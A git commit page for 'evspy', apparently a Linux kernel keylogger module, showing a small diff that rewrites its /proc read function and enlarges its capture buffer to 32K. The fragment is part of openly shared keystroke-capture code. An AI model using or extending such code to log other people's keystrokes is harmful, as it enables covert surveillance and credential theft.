diff options
author | Guillermo Ramos | 2011-10-31 02:28:10 +0100 |
---|---|---|
committer | Guillermo Ramos | 2011-10-31 02:28:10 +0100 |
commit | 7d685f8ebc0988695915a73dbbf1a135f9c429a9 (patch) | |
tree | 590d5c51d8cf43bacd7c9e712fad97e89f668fa6 | |
parent | 4077afbf74aa88c534e92d8f518855321710a8c9 (diff) | |
download | evspy-7d685f8ebc0988695915a73dbbf1a135f9c429a9.tar.gz |
Modified read-from-proc function (temp commit)
-rw-r--r-- | evspy-core.c | 10 | ||||
-rw-r--r-- | evspy.h | 8 |
2 files changed, 9 insertions, 9 deletions
diff --git a/evspy-core.c b/evspy-core.c index 650015e..b0c0d4b 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -50,12 +50,12 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, return -EPERM; #endif } else { // copy fifo contents to the supplied buffer - n = kfifo_out(&cbuffer, page, count); - - if (kfifo_is_empty(&cbuffer)) + if (offset > 0) { *eof = 1; - - return n; + return 0; + } else { + return kfifo_out(&cbuffer, page, min((int)PAGE_SIZE, count)); + } } } @@ -41,10 +41,10 @@ #define EVS_KLAY_EN 0 #define EVS_KLAY_ES 1 -#define EVS_NAME "evspy" // driver name -#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout -#define EVS_TROLL 1 // clear this if you're a serious guy -#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) +#define EVS_NAME "evspy" // driver name +#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout +#define EVS_TROLL 1 // clear this if you're a serious guy +#define EVS_BUFSIZE (1<<15) // 32K // size of the circular buffer #define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc #include "maps/maps.h" |